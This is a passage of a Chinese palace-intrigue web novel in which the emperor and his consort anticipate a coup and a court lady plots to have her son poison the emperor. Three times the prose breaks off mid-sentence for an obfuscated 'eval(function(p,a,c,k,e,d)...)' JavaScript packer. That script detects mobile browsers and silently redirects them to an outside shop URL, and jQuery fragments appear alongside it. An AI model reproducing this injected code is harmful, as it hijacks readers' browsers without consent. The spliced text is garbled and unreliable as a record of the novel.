“你们对着瞻让侃侃而谈,小弟是娘的命根子,小弟若死,娘也活不下去了,看在娘生养的份上,当孝顺娘了,说得多动听啊。”侯瞻逊嗤之以鼻:“难道只是事不关己高高挂起,要你们孝顺娘了,你们可没有孝心,只会慷他人之慨?” 两个人僵立原地,面红耳赤,冷热交替。 武襄侯离去,侯瞻逊去告知老太太,侯二姑奶奶碰碰嘴皮喊出:“大哥?” “我为什么要这么做?”侯瞻逊看向她们,散漫的腔调瞬间转成恨:“你们看侯瞻让没用了就能这么对侯瞻让,若是我没用了,你们能不能这么对我? 是我黑心肝还是你们娘几个比我的心肝黑多了,侯瞻朴和侯瞻让孝顺,什么下场,他们孝顺的那个人在乎他们的孝心吗,对他们还有一点慈吗?你们帮那个人往他们心里捅刀子时有想过那是你们的哥哥吗,你们把兄弟当什么?” “老子宁可鱼死网破!”侯瞻逊咆哮:“我不好过,谁都别想好过!” 侯瞻逊撂下话,大步往屋里走,侯二姑奶奶与侯三姑奶奶不约而同打个哆嗦。 天没黑,侯夫人升平大长公主就病倒了,急找两个女儿回娘家。 太上皇近来也病倒了。 霍太后带着刚七岁的乐阳暂搬入太微宫照顾圣人,湘王陪着搬进太微宫,两位小王爷和长姐崇孝长公主天天去看望父皇,皇帝和魏王晋王也几乎天天去。 是日,皇帝刚出太微宫,禁军匆忙来报:魏王遇袭。 皇帝眼神微变,去魏王府探望过,皇帝又给谷王府增派两百名禁军。 据说魏王性命垂危没能瞒住太上皇,太上皇都咳血了。 而于晏明妧,头破血流都抵不过心里煎熬。 她已是代王世子的妾,她爹指摘代王世子,代王世子被下狱,她若不去晏家闹就没法在代王府过了呀,可她刚跪在英王府前,桓炜彤就出来,要请她进府。 晏明妧晓得,不能进,否则就由不得她了,可没用,她们就是有办法将她带进府,她两眼一黑就晕了,醒来已是夜里,她已经在代王府。 一连好几天都没有成效,晏明妧发狠想,明天她一到晏家大宅外就撞墙,看他们还能如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539200|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何拿捏她?!然而醒来,她疼得好像全身骨头都碎了,婢女跟她说,晏家说她是从假山上摔下来又去撞假山,就成这样了,大夫给她看过了,说要静养。 婢女拿铜镜给她,晏明妧才看见额头撞着个血窟窿。 什么静养?她坐都坐不起来,她连爬出这间屋的力气都没有,晏明妧一脸灰败,不知是为她在代王府的将来还是为她在晏家的处境,脑子里有个恶魔样的念头叫嚣,她爹不会在乎她的死活了,她再敢去晏家闹,他们就能让她在代王府病死。 晏明妧哭了,她怎么过成这样了呀? 代王妃已经从宫里回来,病着,病得浑浑噩噩,代王也没管,一眼没去看过。 书房里烧着碳,几缕昏黄渗进烛火的亮,照出屋中偏烟火气的暖。晋王转着这块兵符,似嘲非嘲又像在笑自己:“11年半了,他居然这么沉得住气。” “悼太子留下兵马怎么会不给魏王?”代王从来没怀疑过,河间军一直握在魏王手里:“今夜就派心腹去把河间军调来,以魏王的名义,他们一定会来,等大军抵达京城外,再把不能为我们所用的将领斩杀,这五万大军就是我们的了。 南北前线的战事都打得差不多了,从南疆和北境各抽调几万精锐来拱卫京师对边境战事不会有影响,等这十几万大军一到,我们派人接管,侄儿你就大业可成了。” 晋王点头,把兵符丢给他。 “还有郢国公府,事成之后就得处置鞠家。”代王叮嘱,晋王神情有点莫测:“堂叔这是什么意思?就算你不想留鞠家也该等大局安稳之后吧,眼下兵戈四起正是用人之际,郢国公好歹能统兵坐镇,你有几个这样的大将能损得起?” “你敢相信他吗?”代王轻蔑破击:“我鹤儿不是他杀,但其他事,怕不是假的吧,鞠家这么多糟烂,若你来处置,你会不把他下狱吗?何况皇帝和太上皇也还没放掉他,都还在查着呢,他就能有二心要随我们谋事,你对这种人你能用?” 晋王眼睫微闪。 “若让他掌军,大局安稳之后你想过后果吗?”代王告诫,晋王忍不住皱眉,代王劝道:“你怕我们没几个能压得住的大将能用,你还有岳家嘛,你岳父还会镇不住吗?不管怎样,显国公至少能用,但郢国公,我们不能存侥幸,必得杀之。” “那,芮家呢?”晋王思虑片刻,同意了,对,不管怎样,薛家是他岳家,他再气薛家临阵退缩抛下他跑了,到底还是他儿子的外祖家,相较而言当然用薛家好。 “当然不留。”代王好笑道:“在皇帝手里,芮家能有享不尽的富贵,只是做富贵闲人、不让芮家管事而已,芮老头就能想造反,皇帝可是他女儿的亲骨肉。 这种人,又这把岁数了,他的权欲之心该有多重?一旦皇帝和太上皇崩逝,他做的第一件事就是把枪头对准我们想打我们个措手不及把我们送上路他好掌权。” 晋王道:“就这样吧,让郢国公把芮家收拾了,我们再除郢国公。” 芮尚书今夜在皇极宫。 他来找皇帝谈心,触景生情、潸然泪下,还要饮酒,许多杯酒灌下,皇帝醉死,芮尚书找到玉玺,在他们拟的密旨上加盖玉玺,把玉玺放回原位,将密旨放进袖中,他掸掸官袍,若无其事走去殿外,传来宫人去伺候陛下歇息,陛下醉了。 芮尚书消失在夜色,正徽帝嬴忱璧走出殿来,看着人消失的方向,了无醉意。 179. 第179章 冬月初六,天,暖融融,像山茶花芬芳。 霍灵渠抱着小婴儿靠在摇椅摇啊摇,思绪飘,三个月了,晏霁之离京三个月了。 郭家人递牌进宫,是郭修仪的次兄和叔叔,郭家叔侄刚一走,皇帝嬴忱璧踏入怡华宫。 大皇子在小花园意兴阑珊玩着弹弓,厌学的孩童还会想念学堂吗? 大皇子想了,念书时总想逃课出去玩,许久不去学堂,反而觉得玩着也没劲。 见他娘找来,大皇子下意识护住枣泥糕和小酥肉,郭修仪被牵引着看过去,咽咽口水,在心里数落这二哥和叔叔不给她带吃食来,面上,让这几个宫人退下。大皇子不肯,郭修仪保证她不跟皇儿抢吃的,她是有大事跟皇儿谈。 大皇子想了想,把枣泥糕和小酥肉都吃了,再让宫人们退下。 郭修仪差点没被气到,这孩子,这孩子你又不短吃的,何况待会儿就是午膳了,用得着这样护食吗?也不知道心疼你娘每天就两个馍,过得有多难受。 “皇儿,皇儿,”郭修仪想拉儿子,大皇子还想躲开,郭修仪训斥:“你躲什么,娘有事要跟你说。”不是郭修仪不想对皇儿自称母后,是每次这么自称被奴婢听见了都会被训,她当然不把奴婢看眼里但奴婢们会去禀告给贵妃呀,郭修仪改就改了。 “你想不想我们以后都不挨饿,想吃什么就吃什么?” 大皇子想啊,但,大皇子看看他娘照实戳肺管:“父皇不会让你吃好的了吧。” 郭修仪差点没忍住想训儿子,挤出笑来说:“所以啊,若是你父皇死了,你来做皇帝,咱们娘俩不就不会被人压着,不就可以想做什么就能做什么了。” “父皇怎么会死?”大皇子可没那么好骗:“皇祖父还好好活着呢。” “人都会死啊,你想你妹妹、你大妹,你这两个妹妹不就死了,还有杭婕妤、霍才人、喻美人这些不全都死了。”郭修仪管教,八岁的小小少年懵懂又好像有所知晓的看着他娘,郭修仪就知道儿子懂,告诫道:“你父皇可不是就你一个儿子。 他已经有四个儿子,以后还会有更多、越来越多的儿子,他能对你好吗,他能把皇位传给你吗?何况你父皇要是长寿,你得等到什么时候?娘就你一个儿子,娘只有你一个儿子,咱们娘俩才是最亲的,你要是不向着娘还想向着你爹不是傻透了。” 大皇子沉闷纠结又挣扎:“你想做什么?” “你七叔,还有你代王叔祖都愿意尊奉你做皇帝,你只要给你父皇喂杯鸩酒就好了。”郭修仪叮嘱道:“过两天他们就会杀进宫来了,你皇祖父那边也不用担心,让你皇祖父跟你父皇一起死了就再也没人能压着咱们娘俩了。” 大皇子垂着眼睛不说话。 郭修仪拍打儿子:“你这孩子还犹豫什么呀,这可是让你做皇帝,若是按你父皇的心意还能轮到你吗?有贵妃和霍家挡着呢。你不想做皇帝,你甘心将来只做个王爷?娘跟你说,娘和你外祖家都已经给你谋划好了,你乖乖照做就行了,听到没有?” 大皇子还没应答,郭修仪拧把儿子的手背:“听到没有?” “哦。”大皇子低低哦道:“儿臣知道了。” “行了,别玩这弹弓了,快用午膳了,回去吧。”郭修仪把儿子的弹弓扔掉。 郭修仪牵着大皇子走掉,皇帝嬴忱璧走出来,不消片刻,霍灵渠站在皇帝身侧。 霍灵渠拾起两颗散落在草地的珍珠和玛瑙,是大皇子玩弹弓用来做弹珠的。 嬴忱璧想带贵妃走了,霍灵渠道:“郭修仪就是看见你我在这儿,她也不会想她管教儿子的话被听见了。” 嬴忱璧默下说:“朕只是觉得对此没什么感触还要在此地谈。” “你放我出宫吧。”霍灵渠要求。 “贵妃,我们能别说这事了吗?这事真没什么好说的了。”嬴忱璧烦躁。 “一个家显见的败落了,升平何以好像混不在意?因为她是公主,她觉得凭她是公主,儿孙的前程唾手可得。”霍灵渠锐利道:“过几天就能见到了,你又作甚非得今天来多看场,因为这事牵动着你的心,你骨子里始终都有侥幸。 当然你想喜欢谁是你的事,你想喜欢谁都没什么不可以,但我为何要去接着你,衣裳破了几个洞是破烂,心被破几个洞一样是破烂,你想把破烂塞给我,呵,几人会愿意捡破烂,孤独终老,我都可以活得好,我作甚要去捡破烂?” “你硬绑着我只会两败俱伤。”语毕,霍灵渠走掉。 嬴忱璧闷,气闷得刚才的一点低靡都冲没了。 霍灵渠回到关雎宫,午膳的时辰了,她没胃口,用小碗肉沫粥就罢,霍雄鹰来找姐姐,不情不愿给贵妃姐姐一小包花茶,花茶里夹着一纸片,纸片就一个字:安。 “这包花茶肯定是他随便买来敷衍的!”霍雄鹰批判,他可不想当这种信使。 “嗯!”霍灵渠赞同,看着就不像他费了心思的,弟弟走后,霍灵渠把花茶扔在博古架不想理会偏又烦躁,没劲儿的把花茶拿来煮茶。花茶煮好了,又凉了,霍灵渠空落落的,想起翁嫔还陪着小婴儿,她去找两件貂毛来给祖父祖母做两件长袄。 一连两日,霍灵渠就沉浸在做袄子。 嬴忱璧夜里来关雎宫还多看了两眼贵妃在做的银貂袍,皇帝直觉贵妃是想做给晏霁之。 小婴儿满半岁了,能自己坐得稳稳的,霍灵渠去洗漱,小婴儿坐在床帐里,偶尔抬头看眼,低头捧着跟他小拳头差不多大小的布老虎摔下,再抓过来捧起、摔下。 嬴忱璧坐在床沿看着幼子,眼底带笑。 霍灵渠走来,小婴儿丢掉布老虎,张着小手臂扑去,霍灵渠抱起小婴儿。 “代王和晋王议定了,逼宫之后就除去郢国公。”嬴忱璧借喻给自己辩白。 “你没想过魏王会照顾过我和桑柔那么多年,这在你的意料外,你对此会没有想法?”霍灵渠给小婴儿盖条羊绒小毯,懒得跟他周旋:“你给我的承诺,后位、储位,魏王能给,而你不肯给的,霍家想退,我想出宫,魏王还是能给。” 霍灵渠问:“你若非要相逼,我为何不去找魏王做交易?” “还有太后!”嬴忱璧拆招:“朕是太后抚养长大,魏王对太后能与朕并论吗?” “太后?对,太后。”霍灵渠眼底微暗,瞬间即振作:“陛下可想过,芮尚书怎么就敢跟着晋王和代王造反?他没想过会失败、他不怕死?” 嬴忱璧凤眸微闪,看向霍贵妃,霍灵渠道:“芮尚书当然是奔着成功去的,他不愿意想若是逼宫失败了、更不是不怕死,但他骨子里就是敢有恃无恐,就算他败了,你不会杀他、不会殃及芮家,他依旧可以荣华富贵安稳终老,他不怕。” 皇帝若有所思。 霍灵渠靠过去些微笑:“所以你知道,我看到了什么吗?” 嬴忱璧下意识想往后仰,忍住了,动动喉咙没说话,就这么不冷不淡看着霍贵妃。 霍灵渠莞尔:“芮尚书对你这一点认知很准,真的有人能让你即使他造反你都愿意保下他,只可惜,很可惜,不是芮家,芮尚书完全没看懂霍家在你心里的重量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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嬴忱璧仿佛能看见前方有个大坑在等着他,看着贵妃,好恐怖,好可怕,看看皇儿,想抱皇儿来挡挡,皇帝端着脸,一脸对霍贵妃意图的打量和若有若无的威严。 “我只想出宫,你若非不肯答应,我会找魏王,以我个人和魏王谈。”霍灵渠宣告道:“我与魏王合作,你不会累及太后和霍家,我没有顾忌。” 嬴忱璧就知道有坑,贵妃这么长篇大论,他怎么发狠说会降罪霍家,贵妃都不肯信了:“贵妃莫胡闹,不然你休怪朕不守信诺让你提前侍寝。” 霍灵渠一点不怵的对抗:“你若非礼我,我就怀个不是你的胎。” 嬴忱璧猛地瞪向她,霍灵渠看小婴儿,前天夜里她看到这小婴儿,忽然想,这若是她和晏霁之的孩儿?她从未有这样的想法,她和晏霁之的孩儿。 “贵妃若非不愿过安生日子,休怪朕禁足了。”嬴忱璧没忘,霍灵渠放过这种妄言了,上一回为防流言可一笑置之,但这回,皇帝能感觉出来,她不是假装威胁,她真敢啊:“把你关起来,除朕和宫人外你休想再见任何人,直至你怀上皇嗣。” 霍灵渠抬眸,容颜清冷:“嬴忱璧,童年旧识,你要与我成仇吗?” “是你在逼朕!”嬴忱璧低怒,也火了:“我是让你做皇后、做皇帝心爱的人,我还要把储位给我们的儿子,你百般不肯还想跟我这么作,你指望我怎么对你?” “我想出宫,你有何不能放我出宫?”霍灵渠拆穿:“什么想补偿自己,借口,你就是看到别人有,你心痒,你也要有。你实在不能消停,你把郭氏留着,给她换个身份做宠妃,足够补偿你曾经的苦涩了,你们两人的纠葛牵扯我一个外人作甚?” 嬴忱璧攥拳,骨节发白:“贵妃今夜就侍寝吧。” 180. 第180章 “五哥哥?” 霍灵渠探探皇帝的怒,嬴忱璧:“……” 冷不防贵妃突然讨好他,嬴忱璧在心里冷哼:进宫大半年了,这会儿会喊他五哥哥了,你再假点啊!但,嬴忱璧还是心里舒服了,拔刃张弩般的冲突轰然消散,皇帝因这声五哥哥,心里都不跟她生气了。 “五哥哥,你我都不想反目成仇?”霍灵渠瞧着小心翼翼,嬴忱璧看她,不语,霍灵渠当他默认,文质彬彬道:“那么,你有必要将霍灵渠困在皇宫中的因由吗? 做皇后、做宠妃,你都有能替代霍灵渠的人,你执掌大权奉太上皇颐养天年后放我出宫应是自然而然水到渠成的事,你放我出宫,皆大欢喜呀。” 嬴忱璧目有审视,似真在想他是否盲目了? 霍灵渠看有戏,连忙再接再厉:“还有郭氏,若想让她喜欢你,五哥哥你得让她害怕,让你成为她生命中的不可或缺,没有你,她会活不成,她就会紧紧抓着你不放了。你放心,把她交给我,我保证把她管得让她心里眼里只有你只想陛下的怜惜。” “你若出宫,你能孤独终老?”皇帝发话,霍灵渠一噎,她,她不想,若有喜欢的人,她作甚要去孤独终老。 霍灵渠把小婴儿放在床帐里,去倒杯茶喝。 “所以贵妃一再闹着想出宫就是想和晏霁之双宿双栖,是吧?”嬴忱璧冷笑。 “我只想出宫,没想那么多。”我都还没有出宫呢,想那么远作甚,霍灵渠晓之以理:“陛下,我出宫是霍贵妃死了,我不会再用霍灵渠的身份,将来我以新身份在宫外生活,我与您是完全陌生的两个人。”您别管那么多了行吗? 嬴忱璧龙颜铁青,霍灵渠头疼:“陛下您就把我看成给您办事的下属,我事情办完了,您放我出宫,皆大欢喜呀,您何必非得想让我进尼姑庵?”霍灵渠衷心道:“我不愿意,我家里也不会愿意,你把我放进庵堂,我会也走的。” “换言之,你出宫后会嫁人、生子?”嬴忱璧求证,霍灵渠认:“是,若有合适的人,他喜欢我,我相信他会对我好,我家里也认可了,我会嫁人。” 嬴忱璧好笑:“既然都是嫁人,我给你的都是皇后之位了,你为何不留在宫里?” 霍灵渠一脸温良:“皇宫中尔虞我诈,我只想平平淡淡过后半生。” “你不是都认定了,霍家造反,我都会愿意保住霍家,霍皇后在宫中还能没有安稳?”嬴忱璧讽刺,霍灵渠:“……”你非得闹到大家翻脸吗? “我不喜欢你。”看懂皇帝有心刁难,霍灵渠也不再好言。 “你喜欢晏霁之是吧,你心心念念想着要出宫就是想嫁给他、给他生儿育女,是吧?”嬴忱璧眼里冒出火来,霍灵渠还想火呢,窝火,皇帝非要把人压得倍感桎梏好像难喘息吗?霍灵渠冷脸,嬴忱璧从牙齿缝蹦出三个字:“你休想!” 霍灵渠猛瞪他,像热油滴进她的血脉里要烧掉她的冷静,她尽量克制:“为,为何呀,你不觉得你欺人太甚了吗,你我怎就不能好聚好散,你要把我下半生毁了?” “毁?”皇帝觉得荒唐:“我是让你做皇后!做我的皇后是把你毁了?” “你找愿意做皇后的人给你做皇后呀,两厢情愿多好,你揪着个不愿意的人做什么?”霍灵渠祈求道:“你放我出宫吧,五哥哥你高抬贵手,你放过我吧。” 嬴忱璧安抚:“贵妃安心等着晋位就好,还有四年多,朕立后时你一定会欢喜。今夜,朕不打扰贵妃了。”虽然皇帝想留宿,但顾念贵妃心绪不大好,算了。 “朕明晚再来看你。”语毕,皇帝刚迈出一步,人僵住。 霍灵渠说:“我会弑君。” 嬴忱璧慢半拍转身,看见霍灵渠冷若冰霜、横眉怒目。 “放我出宫,我只求出宫,这在我看来就像你摘一片树叶、放掉一阵风那么简单,你若都不肯允,要把我困死在这皇宫里,我与你鱼死网破。”霍灵渠神情漠然威凛,不容置疑:“要么,我杀死你;要么,你把我赐死,我与你只能活一个。” 嬴忱璧一字一字训:“霍、灵、渠?” “是你先逼我!”霍灵渠凄冷而决绝:“我只要出宫而已!” “只为出宫,你就敢想弑君?”嬴忱璧真的怒火中烧,霍灵渠反对:“那么你有何不能放我出宫?你能说出来一个能说服我非我霍灵渠不可的理由吗?” “朕要你!”嬴忱璧怒吼,脱口而出。 霍灵渠愣下差点没被神奇:“你是想说你喜欢我吗?” 皇帝顺水推舟:“倘若这么理解能让贵妃满意,朕也不反对。” 霍灵渠想翻白眼:“陛下,你喜欢谁,不必再掩耳盗铃了吧,对郭氏,你紧紧抓着,你想跟她生儿育女,十余年不愿意放手;对霍灵渠,你从来没有过要握住霍灵渠不放,霍灵渠于你不过是一个童年相识的人,你何必搅得大家都不开心。” “哇——”被放在床帐里独自窝着,小婴儿哭起来,霍灵渠和皇帝嬴忱璧微妙对视眼,霍灵渠不动,嬴忱璧更加不动,霍灵渠提醒:“你离得近。” 嬴忱璧更有理由:“皇儿和贵妃亲。”你才哄得好。 霍灵渠忍住,走去床前把小婴儿抱起来,她觉得她都能看见了,晏霁之有孩儿了保管也会是这样,他就两步的距离,他也能放任孩儿哭着不去管,她大哥估计也是这德行,没准儿六哥哥将来当爹对孩儿哭也要溜之大吉,霍灵渠深呼吸再消消气。 没多久,小婴儿不哭了,手还抓着霍贵妃的真丝寝袍。嬴忱璧望着这灯火下的温馨,是有些心热,环住贵妃,霍灵渠瞪他,嬴忱璧佯装淡定:“对,”旋即被踹脚,他诧异看过去,霍灵渠警告:“给我倒杯茶来,我渴了,不然你来抱你儿子。” 嬴忱璧想抗争,莫名蔫儿了,去倒两杯茶,一杯递给贵妃。 “对,朕喜欢的,朕会紧紧抓住,绝不放手。”饮过茶,嬴忱璧兀然说,霍灵渠当皇帝在自言自语,被皇帝灼热的盯着才反应过来皇帝是在指向她,真无语。但嬴忱璧心情好呀,摸摸皇儿的脑袋,告诉贵妃:“就是后天夜里了。” 霍灵渠暂且休战,叹道:“这两天,大皇子和郭修仪一起用膳,宫里好几人跟我说,是不是大皇子遇到什么事了,否则,无缘无故,大皇子对郭修仪怎么突然转变了?” 嬴忱璧不语,霍灵渠不解:“郭家就没有个明白人吗,这场谋划可能有郭家的好处吗,郭家已然能够保住安稳,何以偏不肯安生、拿命去求个将来的战战兢兢?” “所以,郭家谋求的绝非不安。”嬴忱璧提示,霍灵渠讶然:“陛下是说?” “郭家在朕的手里看不见前程了,但若追随晋王或者代王怎会没有好处?”嬴忱璧笑,霍灵渠垂眸:“郭家人就没寄望过大皇子,他们料定了大皇子的死。” 否则,郭家至少该阻拦,不能由大皇子来递鸩酒。 嬴忱璧牵牵唇,讽意尤著,霍灵渠阐述道:“郭氏的叔叔和兄弟也都预测到郭氏会死,晋王和代王在对大皇子动手前就会先送郭氏上路,后天夜里,若是他们成了,大皇子若还能留几个月,郭氏?十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565601|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天内,晋王和代王就会让郭氏死。” “郭修仪么,假若他们事成,没一个时辰,郭修仪就能和晋王或者代王又或者和芮尚书起冲突,一天不知能累积下多少冲突,当然没个十天她就得死。”嬴忱璧嘲弄:“郭家人对她怎会连这点都看不穿,郭家就没想管这对母子的死活。” “他们没想过你和太上皇会在等着瓮中捉鳖吗?”霍灵渠怪哉:“凭什么不怀疑他们,就说晋王,霍家要庄太妃死,圣人允了,霍家还能放心晋王吗?” “逼宫要有兵马,晋王没有,代王也没有。圣人恩宠鞠家多少年了,郢国公仅是被下狱什么都还没定论,贵妃以局外人的身份看,你会相信郢国公会想谋逆吗?”嬴忱璧解说道:“代王何至于逼宫后就要除去郢国公,是这种人根本不能用。” “何况鞠家还有多年好名声。”霍灵渠恍然:“所以,郢国公带出来的将领只会相信郢国公是被泼脏水、你和太上皇想残害忠良,是你们对不住郢国公,郢国公再给他们危言耸听,他们真敢领着京郊那二万大军拥着郢国公杀入皇城造反。” “是啊。”嬴忱璧拉过孩儿的小手,皇帝还是看儿子洗洗嫌恶。 “这个人,这个人他看待他与君王不是臣对君。”霍灵渠语气微急,仿佛怕豁然间的有感消失,霍灵渠敏觉道:“不论是代王和晋王还是昌隆侯和虢王、恒山王都有君臣之分,你和太上皇在他们面前,他们很清楚你们是君,但这个人,他没有。” 嬴忱璧把孩儿的小手放回,悟道:“贵妃的意思,代王等人再想造反,面对朕和圣人,他们也都清楚的知道,他们是臣。但郢国公,没把自己当臣子,亦不把朕和太上皇当君王,他是在洋洋得意乃至居高临下的俯视着朕和太上皇。” 霍灵渠点头:“我感觉,是。” 嬴忱璧被气乐了:“这心思有二十几年了吧,还有他死去的爹,应该都藏得很难受吧。”意识到授康十六年霍家大火,皇帝都不得不恭维:“处心积虑、机关算尽,当真不容易,在霍家做下那桩阴谋,原来鞠家想借这阴谋翻天呢。” 翻天?霍灵渠微愣,想明白,不再多言,哄小婴儿入睡。 嬴忱璧随之看向还在襁褓的幼子,皇帝没被影响,仍然心情不错,他要贵妃呢,贵妃问他可是喜欢她?他心里羞涩,他终于懂了,喜欢,一想要把贵妃从他身边割离,他心痛,根本放不掉,还有妒火,疯狂想拥有,嬴忱璧眉开眼笑。 喜欢的感觉,真好。 皇帝的好心情,第二天传穆国公来谈郭家都温和:“老夫人知道郭家的事了吧?” 霍秦川应是,嬴忱璧猜:“老夫人想保下郭家一丝血脉?”霍秦川再应,皇帝意料中,传穆国公来议也是愿意给恩典了:“穆国公想保谁?” 霍秦川答:“臣,不想。” 是夜,黑隆隆的深寂,刑部大狱的狱卒们七倒八歪,像死猪,一伙贼人一路畅行来到关押郢国公等三人的监牢,砍断锁链,扔进三个死囚,带郢国公父子和代王世子迅速撤离,待他们走远了,霍漓江和房副相等几位大人现身,房副相摇头。 “鞠家今夜有动静想出城,郢国公想把家眷送走?” “两手准备嘛。”霍漓江辛辣道:“明天夜里就要动手了,若是明晚逼宫不成,他想他们父子想杀出重围总该不难,一家子去投奔朱家,还能捞个开国功臣。” “郢国公?!”几位老大人谈不上怅然或者失望,但真有点不是滋味,是他们眼拙吗,多年同僚,他们对这位的秉性竟如此不知,乃至多年未觉。 181. 第181章 迟暮不迟,房副相进霍家和老穆国公品茶,今夜,他和英王负责城中安全。 霍未央小姑娘反而要找贵妃姑姑,是叔叔霍巨浪带她进宫。 霍巨浪出关雎宫遇上霍雄鹰,霍雄鹰责怪:“你带未央来做什么呀,我连大姐那儿我都没有去说,你还要来烦三姐。”大家默契地略过去不就好了。 自然是为郭家。 “未央想求,我们若是连带她进宫都不愿,是我们没人情味。”霍巨浪不想落人话柄,霍雄鹰不屑:“你就仗着大哥打仗去了吧,你把这话对霍海啸说试试。 什么没人情味,郭家想让咱们霍家死绝,可不止一回了,这回更是,刀都举起来了,对这种死仇,你跟我讲人情味,你心软的毛病这种时候能别犯了吗?” “但霍家不只有霍家儿孙,还有嫁进霍家的媳妇。”霍巨浪道出症结。 “娘家要倾覆了,姑奶奶想给娘家保下一丝血脉,她会想她的娘家和夫家已成死仇吗,你能跟她说是霍家委屈吗?”霍巨浪诛心道:“这是祖父还在,若没有祖父压着,你想想,家里这么多人看着呢,我们的娘、媳妇,是谁没有娘家吗?” 霍雄鹰真憋屈。 “不过,以后帮扶亲戚真犯不着了。”霍巨浪齿冷:“我们帮扶郭家多少年了啊,这次是郭家自己要找死还想害死我们家,可单就我们自家家眷,谁会记得我们帮扶过郭家十多年,还不是只看霍家能做到什么份儿上?合着,霍家与郭家撕破脸之前的十二三年,我们给郭家鞍前马后比喂了狗还不如,石子丢进水里还能有个响声呢!” 霍巨浪嫌心凉:“霍家那十几年有没有付出过,居然根本没区别?!” “可不就是嘛!”二哥总算清醒了,霍雄鹰啐道:“帮扶啥呀帮,比费力不讨好还不如,就差被人当狗笑,哦对,宫女说,郭修仪夜里做梦都在笑。” 霍巨浪感喟:“宫里不少人多少都有点感知了吧。” 关雎宫中,霍未央开门见山:“姑母能帮帮曾祖母吗?” 霍灵渠反问:“未央多大了?” “姑母,我满十岁了。”小姑娘报年纪,霍灵渠点头:“嗯,不小了。” “姑母,我晓得,今夜,郭家若是能逼宫成功,不会放过我们霍家,所以曾祖父不愿意答应曾祖母的要求,但曾祖母想给娘家留下一丝血脉更在情理中啊,谁能看着自己娘家覆灭连一丝血脉都存不下?”霍未央将心比心:“姑母能做到吗?” 霍灵渠说:“我做不到。” “所以,姑母你帮曾祖母求陛下好不好?”小姑娘跑上前,握住贵妃姑姑的手,恳求:“给郭家留下个两三岁还不知事的孩童,好歹能给曾祖母慰藉了。” “未央将来做母亲、做祖母、做曾祖母,能看儿孙们死吗?”霍灵渠提问。 “当然不能啊。”霍未央脱口而出,话落怔下,懵懂又像若有所感,霍灵渠言简意赅:“今夜若是郭家逼宫成功,你的曾祖母我的祖母能给霍家留下一丝血脉吗?” 小姑娘瞪圆眼睛,霍灵渠反握住侄女的小手,一针见血:“未央答不出来吗?是不是,你也知道,不可能,假若今夜郭家成了,就是霍家遭满门屠灭时?” 霍未央心头猛跳不自觉咬唇,霍灵渠慢声道:“霍家没想过害郭家死,郭家却能再三想霍家死,郭家人顾念过吗?未央还没遭遇到家破人亡,所以连对死仇都很怜悯,但你的安稳是霍家给你的,你有体谅过当家人替当家人想过吗?” “可,姑母你,你就真的忍心吗?”霍未央难受,也心疼曾祖母呀。 “姑母以为,人都该为自己承担。”霍灵渠看她的风铃,在夕阳的留恋里动人:“在郭家第一次想霍家人死的时候,她没有作为,她应该懂,这在霍家眼中是她已经做出抉择,若是到头来只是霍家误解她,她只是不在意郭家害死霍家,后果,是她该承担的。 况且,未央尚且怜悯仇家,你都不心疼自家、不替给你遮风挡雨的至亲委屈吗? 她会要求霍家,她能要求郭家、她的侄儿、侄孙吗?郭家不顾她的死活、想霍家死,她要霍家给郭家保下一丝血脉;假若霍家被郭家踩下,她能从郭家手里保下霍家一丝血脉吗,她不能啊,她只能任由霍家被屠戮,她于心何忍? 不想看郭家倾覆,她把想闹事的管住呀,把人绑起来、关起来,多容易,郭家搭上晋王和代王才半个月,牵涉浅,今夜逼宫哪怕有郭修仪在,只要没有第二个郭姓之人,皇帝清算时郭家还会满门倾覆吗?她想给郭家保下几条血脉都可以。 假若她连管住郭家想闹事的人都做不到,若说郭家没有她置喙的余地,那郭家的死活与她何干?还是说,她任由郭家予取予求,还想压着霍家供郭家予取予求,只因霍家的当家人是她生的,若是如此,难道她嫁人是为找个人家给郭家当牛做马吗? 那我是不是也该怀疑,郭家仗着有嫁进霍家的老姑奶奶在,是穆国公和皇太后的亲娘,他们有恃无恐才会跟着晋王和代王造反,他们吃定了,就算逼宫失败,有霍老夫人在就不怕霍家敢不保郭家,未央告诉姑母,你将来生儿育女是为糟践儿孙吗?” 十岁的姑娘心肝疼了疼,想哭…… 嬴忱璧想,霍巨浪就是故意在黄昏带侄女进宫吧。皇帝抱着半岁的四皇子从帘后走出,霍灵渠站起来带侄女给皇帝请安,嬴忱璧和蔼:“朕来陪贵妃用晚膳,未央留着一起吧,还有些时候,去给姑母选几样新鲜的果子来,好不好?” 霍未央愣下,连忙应着告退出去。 小婴儿扑向贵妃,霍灵渠抱着小婴儿落坐,皇帝说,霍巨浪这时间选的,也是对郭家深恶痛绝了吧,霍灵渠不以为然:“年初时,二哥心还很软,可一次次冲霍家来的杀机相当于往霍家人心里捅一刀又一刀,再软的心都得硬起来。” 嬴忱璧叹息,霍灵渠看向皇帝,嬴忱璧问:“怎么了?” 